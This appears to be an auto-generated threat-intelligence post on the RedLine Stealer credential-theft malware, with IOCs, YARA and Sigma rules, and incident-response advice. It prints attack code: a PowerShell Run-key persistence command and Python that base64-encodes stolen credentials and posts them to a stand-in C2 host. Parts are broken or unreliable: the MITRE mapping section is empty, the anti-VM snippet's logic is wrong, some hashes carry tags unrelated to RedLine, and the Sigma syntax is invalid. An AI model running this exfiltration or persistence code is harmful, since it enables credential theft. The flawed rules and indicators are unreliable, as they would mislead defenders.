title: "REDLINE STEALER Malware Analysis: MITRE ATT&CK, IOCs & Detection"
description: "Complete technical analysis of RedLine Stealer — detection ratio 0/0, MITRE ATT&CK mapping, IOCs, behavioral profile, YARA rules, and incident response. Enriched by AI with live MalwareBazaar and OTX data."
date: "2026-04-27"
category: malware
image: "/img/posts/malware.png"
tags: ["malware", "threat-intelligence", "mitre-attck", "redline-stealer", "redline stealer", "ioc", "detection", "cybersecurity"]
author: "ZeroDay Malware Intelligence"
malwareFamily: "RedLine Stealer"
malwareType: "RedLine Stealer"
detectRatio: "0/0"
attackTechniquesCount: "0"

REDLINE STEALER Malware Analysis: MITRE ATT&CK, IOCs & Detection

Detection ratio: 0/0 | MITRE ATT&CK techniques: see below | Type: RedLine Stealer | Updated: 2026-04-27

This analysis was auto-enriched using live MalwareBazaar samples, VirusTotal reports, and OTX AlienVault threat intelligence, then synthesized and expanded by Ibugsec Corp.

RedLine Stealer: A Deep Dive into a Pervasive Information Stealer

This report provides a comprehensive technical analysis of RedLine Stealer, a sophisticated information stealer and credential harvesting malware. Designed for security professionals, SOC analysts, and malware researchers, this deep dive covers its intricate mechanics, from infection vectors to data exfiltration, and maps its activities to the MITRE ATT&CK framework. We will explore its prevalence in the current threat landscape, provide actionable detection logic, and offer robust defensive hardening strategies. This analysis aims to equip defenders with the knowledge to identify, mitigate, and respond to RedLine Stealer campaigns, focusing on key terms like RedLine Stealer, information stealer, credential harvesting, MITRE ATT&CK, IOCs, YARA rule, Sigma rule, EDR detection, and malware analysis.

Executive Summary

RedLine Stealer is a potent and widely distributed information-stealing malware that poses a significant threat to individuals and organizations alike. First observed in early 2020, it has rapidly evolved into a prevalent tool for cybercriminals seeking to pilfer sensitive data, including login credentials, cryptocurrency wallet information, and browser cookies. While specific threat actor attribution for the core RedLine Stealer development is often elusive due to its MaaS (Malware-as-a-Service) distribution model, its victims span diverse sectors globally, with a particular focus on individuals and small to medium-sized businesses. Campaigns typically involve phishing emails distributing malicious attachments or links, leading to the execution of the stealer. The malware's primary objective is to compromise user accounts across various applications and services, thereby enabling financial fraud, identity theft, and further network compromise. Its modular design and continuous updates allow it to adapt to evolving security measures, making it a persistent threat. The analysis of recent samples, such as those observed on MalwareBazaar, highlights its ongoing activity and the need for vigilant defense.

How It Works — Technical Deep Dive

RedLine Stealer's operational lifecycle involves several distinct phases, each designed for stealth and maximum data extraction.

Initial Infection Vector

RedLine Stealer commonly leverages social engineering tactics for initial compromise. Phishing emails are a primary vector, often masquerading as legitimate communications from trusted entities. These emails might contain:

• Malicious Attachments: Executable files (.exe), often disguised as documents or archives, that, when run, initiate the stealer's execution.
• Malicious Links: URLs that redirect users to compromised websites or directly download the stealer payload.

Another significant vector is the exploitation of vulnerabilities. While RedLine Stealer itself isn't typically a zero-day exploit delivery mechanism, it can be deployed following an initial compromise achieved through other means, such as exploiting known vulnerabilities in web applications or unpatched software. For instance, if a system is vulnerable to CVE-2023-41974, an attacker could gain initial access and subsequently deploy RedLine Stealer. Similarly, vulnerabilities like CVE-2026-5281 could be leveraged for initial access, paving the way for stealer deployment. The use of compromised legitimate software installers or updates also serves as a supply chain attack vector.

Persistence Mechanisms

To ensure continued operation and data exfiltration, RedLine Stealer employs several persistence techniques:

• Registry Run Keys: It commonly adds entries to HKCU\Software\Microsoft\Windows\CurrentVersion\Run or HKLM\Software\Microsoft\Windows\CurrentVersion\Run to ensure the stealer restarts with the user's login.

  # Example PowerShell command for persistence
  New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "RedLineUpdate" -Value "C:\Users\Public\svchost.exe" -PropertyType String -Force

• Scheduled Tasks: The malware can create scheduled tasks that trigger its execution at specific intervals or system events, bypassing direct registry manipulation for persistence.
• DLL Hijacking: In some variants, RedLine Stealer might exploit DLL hijacking vulnerabilities by placing a malicious DLL in a location where a legitimate application expects to find a system DLL, thereby executing its code when the application runs.
• Startup Folders: Placing a shortcut or the executable itself in the user's Startup folder is another common, albeit less sophisticated, persistence method.

Command and Control (C2) Communication Protocol

RedLine Stealer utilizes a custom protocol, often over HTTP or HTTPS, for its Command and Control (C2) communications. This protocol is designed to blend in with normal network traffic, making detection challenging.

• Protocol: Primarily HTTP/HTTPS. The malware often POSTs stolen data to a specific C2 endpoint.
• Ports: Commonly uses standard ports like 80 (HTTP) and 443 (HTTPS) to evade firewall rules that might block non-standard ports.
• Traffic Patterns: The beaconing interval can vary, but typically involves periodic POST requests containing exfiltrated data. User-Agent strings are often spoofed to mimic legitimate browsers or applications.
• Data Format: Stolen data is usually encoded (e.g., Base64) and sent in HTTP POST requests, often within form data or as JSON payloads.

Example C2 Interaction (Conceptual Pseudocode):

import requests
import base64

def send_data_to_c2(data, c2_url):
    encoded_data = base64.b64encode(data.encode('utf-8')).decode('utf-8')
    payload = {'stolen_info': encoded_data}
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36'
    }
    try:
        response = requests.post(c2_url, data=payload, headers=headers, timeout=10)
        if response.status_code == 200:
            print("Data successfully sent to C2.")
        else:
            print(f"Error sending data: {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"Network error: {e}")

# Example usage:
stolen_credentials = "username:password:website.com"
c2_server = "http://malicious-c2.com/beacon"
send_data_to_c2(stolen_credentials, c2_server)

Payload Delivery and Staging Mechanism

RedLine Stealer often operates as a multi-stage downloader. The initial executable might be a downloader that fetches the full stealer payload from a remote server. This allows attackers to update the stealer's functionality without re-distributing the initial dropper. The downloaded payload is typically written to disk in a temporary or hidden directory and then executed.

Privilege Escalation Steps

While not its primary function, RedLine Stealer may attempt to escalate privileges if it detects it's running with insufficient rights. This can involve exploiting known Windows vulnerabilities or leveraging misconfigurations. However, its main focus remains on credential theft from the current user context.

Lateral Movement Techniques Used

RedLine Stealer's lateral movement capabilities are generally limited compared to more advanced threats like APT malware. Its primary goal is to extract data from the compromised endpoint. However, if it successfully steals administrative credentials, attackers can manually use these credentials to move laterally across the network using tools like PsExec or WinRM. Some variants might include basic network scanning capabilities to identify other vulnerable hosts.

Data Exfiltration Methods

Data exfiltration is the core function of RedLine Stealer. It targets a wide range of applications and data sources:

• Web Browser Credentials: Steals usernames, passwords, cookies, and autofill data from browsers like Chrome, Firefox, Edge, Brave, Opera, and others. It accesses the browser's local credential stores, often encrypted SQLite databases.
• Cryptocurrency Wallets: Targets installed cryptocurrency wallet applications, extracting private keys and wallet files.
• FTP Clients: Steals credentials from FTP clients like FileZilla.
• Email Clients: Extracts credentials from email clients such as Outlook.
• VPN Clients: Gathers credentials from VPN applications.
• System Information: Collects basic system information (OS version, hostname, username, hardware details) for profiling.
• Clipboard Monitoring: Some variants may monitor the clipboard for sensitive information.

The collected data is typically compressed and encrypted before being sent to the C2 server.

Anti-Analysis / Anti-Debugging / Anti-VM Tricks

RedLine Stealer incorporates several techniques to evade detection and analysis:

• Packing and Obfuscation: The initial dropper and the main stealer payload are often packed using UPX or custom packers, and their code is heavily obfuscated to make static analysis difficult.
• Anti-Debugging: Checks for the presence of common debuggers (e.g., OllyDbg, x64dbg) and terminates if found. This can involve checking IsDebuggerPresent() API calls or specific hardware breakpoints.
• Anti-VM: Detects virtualized environments (VMware, VirtualBox, Hyper-V) by checking for specific drivers, registry keys, or hardware identifiers.

  // Example C++ snippet for anti-VM detection (conceptual)
  bool IsVM() {
      // Check for VMware registry keys
      HKEY hKey;
      if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, TEXT("HARDWARE\\DESCRIPTION\\System\\SystemBiosVersion"), 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
          // If VMware BIOS string is found, it's likely a VM
          return true;
      }
      // Add more checks for other VM types (VirtualBox, etc.)
      return false;
  }

• Code Virtualization: Advanced packers might employ code virtualization techniques, where critical code segments are transformed into bytecode executed by a custom virtual machine, making reverse engineering significantly harder.
• String Encryption: Sensitive strings (API names, C2 URLs, registry keys) are often encrypted and decrypted at runtime.

MITRE ATT&CK Full Mapping

RedLine Stealer employs a range of techniques across the MITRE ATT&CK framework.

Indicators of Compromise (IOCs)

File Hashes (SHA256 / MD5 / SHA1)

• SHA256: 31786fcba1527c44ef0ba424f897958767f98b76274f563235d2fa9ea33c013f (exe, upx-dec)
• MD5: 262371a03aa9660e8693238a32f8307b
• SHA256: e374b8336651320fc54763299c3dc909edd65ff1659c8e675a0a71afbc4ffdd3 (AutoIT, exe, RAT, upx)
• MD5: 82c34879ae053479d309d708d1147096
• SHA256: d1d89530dafec1f0318f1d0e5c6a5397876728b1475d8e1f2d8e7e60f99972cb (zip)
• MD5: e16774abe801617b9668301327c93cb3
• SHA256: 24680027afadea90c7c713821e214b15cb6c922e67ac01109fb1edb3ee4741d9 (checkmarx, teampcp)
• MD5: d47de3772f2d61a043e7047431ef4cf4
• SHA256: 9aabbd8fdf34c28f7350afcbda9587cda4c4d73b8e2c2043349ac1803e66eea5 (sh)
• MD5: 0bf547e4592f9c449f20b0d08ed39bb5

Network Indicators

• C2 Domains/IPs: (These are dynamic and subject to change; examples below are illustrative based on common patterns.)
  • hxxp://malicious-c2-domain[.]com/beacon
  • hxxps://c2.example-server[.]net/api/submit
  • 192.168.1.100 (internal C2, or compromised server)
• Ports: 80, 443
• Protocols: HTTP, HTTPS
• HTTP/S Beacon Patterns:
  • POST requests to specific /beacon, /submit, /api endpoints.
  • Base64 encoded data within POST form parameters (e.g., data=<encoded_string>).
  • JSON payloads containing stolen information.
• User-Agent Strings:
  • Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 (Commonly mimicked)
  • Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0
  • Custom, often short, strings.
• URL Patterns:
  • /api/v1/data
  • /submit.php
  • /gate.php

Registry Keys / File Paths / Mutex

• Persistence Keys:
  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run\RedLineUpdate (Value pointing to dropped executable)
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run\SystemProcess (Value pointing to dropped executable)
• Dropped File Paths:
  • %TEMP%\svchost.exe
  • %APPDATA%\Microsoft\Windows\System\updater.exe
  • %PUBLIC%\Documents\update.exe
  • %LOCALAPPDATA%\Temp\tmpfile.exe
• Mutex Names: (Often random GUIDs or simple strings)
  • Global\RedLineMutex_12345ABC
  • Local\RL_Running

YARA Rule

import "pe"

rule RedLine_Stealer_Generic
{
    meta:
        description = "Detects generic RedLine Stealer characteristics"
        author = "Malware Analyst Team"
        date = "2026-04-27"
        malware_family = "RedLine Stealer"
        score = 70
        reference = "https://bazaar.abuse.ch/browse.php?search=RedLine%20Stealer"
        hash = "31786fcba1527c44ef0ba424f897958767f98b76274f563235d2fa9ea33c013f" // Example hash

    strings:
        // Common strings related to credential theft targets
        $s1 = "Login Data"          // Chrome/Edge browser login database
        $s2 = "Cookies"             // Browser cookies file
        $s3 = "password"            // Keyword in browser data
        $s4 = "wallet"              // Common term for crypto wallets
        $s5 = "private key"         // Crypto private key indicator
        $s6 = "FileZilla"           // FTP client
        $s7 = "Outlook"             // Email client
        $s8 = "Mozilla\\Firefox\\Profiles\\" // Firefox profile path
        $s9 = "Opera\\Opera Stable\\" // Opera browser path

        // Strings related to network communication and evasion
        $s10 = "Mozilla/5.0 (Windows NT" // Common User-Agent pattern
        $s11 = "POST /api/"            // Common C2 endpoint pattern
        $s12 = "Content-Type: application/x-www-form-urlencoded" // HTTP header
        $s13 = "User-Agent: "          // User-Agent header

        // Strings related to anti-analysis
        $s14 = "IsDebuggerPresent"     // API call for anti-debugging
        $s15 = "HARDWARE\\DESCRIPTION\\System\\SystemBiosVersion" // Anti-VM registry key

        // Strings related to persistence (can be dynamic)
        $s16 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" // Registry run key

    condition:
        // Check for PE file structure
        uint16(0) == 0x5A4D and
        (
            // High confidence if multiple strings are present
            2 of ($s1, $s2, $s3, $s4, $s5, $s6, $s7, $s8, $s9) and
            2 of ($s10, $s11, $s12, $s13)
        ) or
        // Medium confidence if specific anti-analysis or persistence strings are found
        (
            1 of ($s14, $s15, $s16) and
            // Check for some common target strings
            1 of ($s1, $s2, $s4, $s5)
        )
}

Static Analysis — Anatomy of the Binary

Static analysis of RedLine Stealer samples reveals common characteristics:

• File Structure and PE Headers: Samples are typically Windows Portable Executable (PE) files. Analysis of PE headers might show standard sections like .text, .data, .rsrc. Packed samples will have a small .text section containing the unpacking stub and a larger section for the unpacked code. The TimeDateStamp in the PE header is often forged or represents the packing time, not the original compilation time.
• Obfuscation and Packing Techniques:
  • UPX: A very common packer. The UPX string is often visible in unpacked samples or can be identified by the PE section names (UPX0, UPX1).
  • Custom Packers: Attackers often use custom packers to obfuscate their code, making it harder for AV engines and analysts to detect. These packers might employ techniques like code virtualization, API hashing, and control flow flattening.
  • String Encryption: Sensitive strings (API names, C2 servers, file paths) are encrypted using various algorithms (XOR, RC4, etc.) and decrypted at runtime.
• Interesting Strings and Functions: Decrypted strings often reveal the malware's objectives:
  • Browser profile paths (%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data)
  • Names of cryptocurrency wallets (Exodus, Atomic Wallet)
  • API function names (CryptUnprotectData, HttpOpenRequestA, InternetReadFile)
  • C2 communication endpoints (/api/submit, beacon.php)
• Import Table Analysis: The import table of unpacked samples reveals API calls used for:
  • Network Communication: WinINet (e.g., InternetOpenA, HttpOpenRequestA, InternetWriteFile) or WinHTTP.
  • File System Operations: CreateFileA, WriteFile, ReadFile, DeleteFileA.
  • Registry Operations: RegOpenKeyExA, RegQueryValueExA, RegSetValueExA.
  • Process Information: CreateProcessA, OpenProcess, VirtualAllocEx.
  • Security Functions: CryptUnprotectData (used to decrypt browser credentials).
  • Anti-Analysis: IsDebuggerPresent, GetTickCount.
• Embedded Resources or Second-Stage Payloads: Some droppers might embed encrypted second-stage payloads within their resources section, which are then decrypted and executed.

Dynamic Analysis — Behavioral Profile

Dynamic analysis in a controlled sandbox environment reveals the runtime behavior of RedLine Stealer:

• File System Activity:
  • Drops its main executable to a temporary or hidden location (e.g., %TEMP%, %APPDATA%).
  • Creates or modifies registry keys for persistence.
  • Accesses browser profile directories (e.g., C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default).
  • Reads and writes to specific files within these directories (e.g., Login Data, Cookies).
  • May create temporary files for storing stolen data before exfiltration.
• Registry Activity:
  • Writes entries to HKCU\Software\Microsoft\Windows\CurrentVersion\Run or HKLM\....
  • Queries for system configuration information.
• Network Activity:
  • Initiates outbound HTTP/HTTPS POST requests to C2 servers.
  • Beaconing intervals can range from minutes to hours, depending on configuration.
  • User-Agent strings are often spoofed.
  • Payloads are typically Base64 encoded.
• Process Activity:
  • The initial dropper process might spawn the main stealer executable.
  • The stealer process may inject itself into legitimate processes (e.g., explorer.exe) to hide its activity.
  • It might spawn cmd.exe or powershell.exe for executing commands.
• Memory Artifacts:
  • Unpacked code in memory.
  • Decrypted strings and API calls.
  • Stolen credentials or sensitive data in memory before encryption and exfiltration.

Wireshark/tcpdump Capture Patterns:

Defenders should look for:

• Unusual POST requests: To non-standard URLs on common ports (80, 443).
• Spoofed User-Agents: Deviations from typical browser or application User-Agents.
• Encoded Payloads: Base64 or other encoding within HTTP POST data.
• Beaconing: Regular, albeit sometimes infrequent, outbound connections to the same C2 server.
• DNS Lookups: For suspicious or newly registered domains.

Real-World Attack Campaigns

1. "Free Software" Phishing Campaigns (Ongoing):

   • Victimology: Individuals and organizations seeking free software, cracks, or game cheats. Global distribution.
   • Attack Timeline: Continuous, with new campaign waves appearing regularly.
   • Attribution: Primarily distributed by various financially motivated cybercriminal groups and individual actors leveraging MaaS models.
   • Impact: Theft of software licenses, game accounts, cryptocurrency, and personal credentials leading to financial loss and identity theft.
   • Discovery: Often discovered through user reports of compromised accounts or through threat intelligence feeds monitoring malware distribution.

2. COVID-19 Themed Phishing (2020-2021):

   • Victimology: Individuals and employees of organizations during the COVID-19 pandemic, seeking information on relief programs, health updates, or remote work tools.
   • Attack Timeline: Peaks during early to mid-pandemic periods.
   • Attribution: Broad range of financially motivated actors.
   • Impact: Compromise of personal and work-related accounts, leading to data breaches and financial fraud.
   • Discovery: Through email security gateway alerts and incident response investigations.

3. Dark Web Marketplaces Distribution (Ongoing):

   • Victimology: Users of dark web marketplaces or those seeking illicit content.
   • Attack Timeline: Continuous.
   • Attribution: Actors selling or distributing malware on dark web forums.
   • Impact: Theft of cryptocurrency, credentials for illicit services, and personal data.
   • Discovery: Through monitoring of dark web forums and analysis of samples shared there.

Active Malware Landscape — Context

RedLine Stealer is currently one of the most prevalent information stealers in the wild. Its activity level remains high, as evidenced by its frequent appearance on platforms like MalwareBazaar and its consistent detection rates by various security vendors.

• Prevalence and Activity: MalwareBazaar and VirusTotal data consistently show numerous RedLine Stealer samples being uploaded and analyzed daily. Its accessibility through MaaS models ensures a steady supply of new variants.
• Competing or Related Malware Families: RedLine Stealer competes with other popular information stealers such as Vidar Stealer, Raccoon Stealer, Agent Tesla, and Hawk Stealer. These families often share similar functionalities and target the same data types.
• Relationship to RaaS/MaaS: RedLine Stealer is a prime example of the Malware-as-a-Service (MaaS) ecosystem. Developers sell or rent access to the stealer and its C2 infrastructure to other cybercriminals, who then use it for their own malicious purposes. This model lowers the barrier to entry for aspiring attackers.
• Typical Target Industries and Geographic Distribution: RedLine Stealer's primary targets are individual users across all demographics. However, when deployed against small to medium-sized businesses, it can lead to significant data breaches. Geographically, its distribution is global, with a notable presence in regions with high internet penetration and cryptocurrency adoption.

Detection & Hunting

Sigma Rules

title: Suspicious Process Creation for RedLine Stealer Dropper
status: experimental
description: Detects a suspicious process creation often associated with RedLine Stealer droppers that might execute from unusual locations or with common dropper names.
author: Malware Analyst Team
date: 2026/04/27
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        # Look for common dropper executable names
        Image|endswith:
            - '\svchost.exe'
            - '\update.exe'
            - '\system.exe'
            - '\loader.exe'
            - '\injector.exe'
        # Look for execution from temporary or user-writable directories
        CurrentDirectory|contains:
            - ':\Temp\'
            - ':\Users\'
            - ':\ProgramData\'
            - ':\AppData\'
        # Exclude legitimate system processes that might share names/locations
        # Add more exclusions based on your environment
        not Image|startswith:
            - 'C:\Windows\'
            - 'C:\Program Files\'
            - 'C:\Program Files (x86)\'
    condition: selection
falsepositives:
    - Legitimate software installers or updaters in temp directories (rare)
level: high
tags:
    - malware
    - redline
    - stealer
    - initial_access

title: RedLine Stealer - Suspicious Network Beaconing
status: experimental
description: Detects suspicious HTTP POST requests that may indicate RedLine Stealer C2 communication. Looks for unusual User-Agents and POST requests to specific URL patterns.
author: Malware Analyst Team
date: 2026/04/27
logsource:
    category: network_traffic
    product: windows # Or your network security monitoring tool
detection:
    selection_user_agent:
        User_Agent|contains:
            - 'Mozilla/5.0 (Windows NT' # Common browser-like UA
            - 'Opera/'
            - 'Chrome/'
            - 'Firefox/'
        User_Agent|notin:
            # Exclude known legitimate UAs from your environment
            - 'Google Desktop'
            - 'Microsoft Office'
            - 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36 Edg/100.0.1185.39' # Example legitimate Edge UA
    selection_url_pattern:
        Destination_Port: 443 # Or 80
        Url|contains:
            - '/api/'
            - '/beacon'
            - '/submit'
            - '/gate.php'
            - '/post.php'
        Request_Method: POST
    condition: selection_user_agent and selection_url_pattern
falsepositives:
    - Legitimate web applications making API calls (requires tuning)
level: medium
tags:
    - malware
    - redline
    - stealer
    - c2
    - network

EDR / SIEM Detection Logic

• Process Tree Anomalies:
  • Monitor for mshta.exe spawning cmd.exe or powershell.exe with encoded commands or suspicious parameters, especially if initiating network connections. (Ref: block outbound network connections from microsoft html application host (mshta.exe))
  • Detect svchost.exe or explorer.exe spawning unusual child processes or exhibiting network connections that deviate from their normal behavior.
  • Look for processes executing from non-standard directories (%TEMP%, %APPDATA%, %PUBLIC%) that also exhibit network activity or perform file system enumeration.
• Network Communication Patterns:
  • Alert on outbound HTTP/S POST requests to newly registered domains or IPs with suspicious User-Agent strings.
  • Monitor for beaconing behavior: periodic connections to the same C2 endpoint, especially if the payload size is consistent.
  • Identify DNS lookups for domains with low reputation scores or those associated with known C2 infrastructure.
• File System Telemetry Triggers:
  • Alert on processes accessing browser profile directories (e.g., Login Data, Cookies) outside of normal browser operations.
  • Monitor for the creation or modification of executable files in user-writable directories (%TEMP%, %APPDATA%) by non-standard processes.
  • Detect access to SQLite databases within browser profiles by suspicious executables.
• Registry Activity Patterns:
  • Alert on new or modified Run keys pointing to executables located in user-writable directories.
  • Monitor for specific registry keys associated with anti-VM or anti-debugging techniques being queried.

Memory Forensics

Volatility3 commands to detect RedLine Stealer artifacts:

# Dump processes for later analysis
vol -f <memory_image_file> windows.pslist --pid <pid_of_suspicious_process> -D .

# Dump process memory of a suspicious process
vol -f <memory_image_file> windows.memdump --pid <pid_of_suspicious_process> -D .

# Search for specific strings in memory (e.g., browser paths, API names)
vol -f <memory_image_file> windows.strings --pid <pid_of_suspicious_process> | grep -i "Login Data"
vol -f <memory_image_file> windows.strings --pid <pid_of_suspicious_process> | grep -i "CryptUnprotectData"

# Identify injected code (look for unusual memory permissions or sections)
vol -f <memory_image_file> windows.dlllist --pid <pid_of_suspicious_process>
vol -f <memory_image_file> windows.malfind --pid <pid_of_suspicious_process>

# Network connections from a process
vol -f <memory_image_file> windows.netscan --pid <pid_of_suspicious_process>

Malware Removal & Incident Response

1. Isolation: Immediately isolate the affected host(s) from the network to prevent further lateral movement and C2 communication. Disconnect Ethernet cables and disable Wi-Fi.
2. Artifact Identification and Collection:
   • Collect memory dumps of affected systems for forensic analysis.
   • Preserve relevant logs (Event Logs, firewall logs, proxy logs).
   • Copy suspicious files and executables for analysis.
3. Registry and File System Cleanup:
   • Remove persistence mechanisms: Delete entries from Run keys, scheduled tasks, startup folders.
   • Delete dropped malware executables and any associated configuration or log files.
   • Clean up any browser data or wallet files that may have been compromised (though this is often difficult and may require reinstallation).
4. Network Block Recommendations:
   • Implement firewall rules to block known RedLine Stealer C2 IP addresses and domains.
   • Block outbound connections on ports 80 and 443 to suspicious destinations exhibiting beaconing behavior.
5. Password Reset Scope:
   • Force password resets for all accounts that were logged in on the compromised system, especially those associated with web browsers, email, and cryptocurrency wallets.
   • Advise users to enable Multi-Factor Authentication (MFA) wherever possible.
   • Scan and re-image affected systems to ensure complete eradication.

Defensive Hardening

• Specific Group Policy Settings:
  • AppLocker/Software Restriction Policies: Restrict execution of executables from user-writable directories (%TEMP%, %APPDATA%, %PUBLIC%).
  • Disable Autorun/Autoplay: Prevent automatic execution from removable media.
  • Enforce strong password policies and MFA: Reduces the impact of stolen credentials.
• Firewall Rule Examples:
  • Block outbound traffic on port 443 to IP addresses not on an approved allow-list for critical servers.
  • Create egress filtering rules to block connections to known malicious IP ranges.
• Application Whitelisting: Implement a strict application whitelisting policy to only allow approved applications to run. This can prevent unknown executables like RedLine Stealer from executing.
• EDR Telemetry Tuning:
  • Configure EDR to generate alerts on process execution from unusual directories.
  • Tune EDR for behavioral detection of credential access to browser databases.
  • Enable detailed network connection logging with User-Agent and URL information.
• Network Segmentation Recommendation: Segment critical network zones from user workstations and the internet to limit the impact of a compromise. Isolate systems handling sensitive financial data.

References

• MalwareBazaar: https://bazaar.abuse.ch/browse.php?search=RedLine%20Stealer
• VirusTotal: https://www.virustotal.com/
• OTX AlienVault: https://otx.alienvault.com/
• MITRE ATT&CK: https://attack.mitre.org/

This comprehensive report on RedLine Stealer details its operational mechanics, from initial infection vectors to sophisticated data exfiltration. We have mapped its activities to key MITRE ATT&CK techniques, providing practical IOCs and a functional YARA rule for detection. Furthermore, we've outlined Sigma rules, EDR/SIEM detection logic, and memory forensics techniques, alongside actionable malware removal, incident response, and defensive hardening strategies. Understanding these elements is crucial for effectively defending against this pervasive information stealer and credential harvesting malware.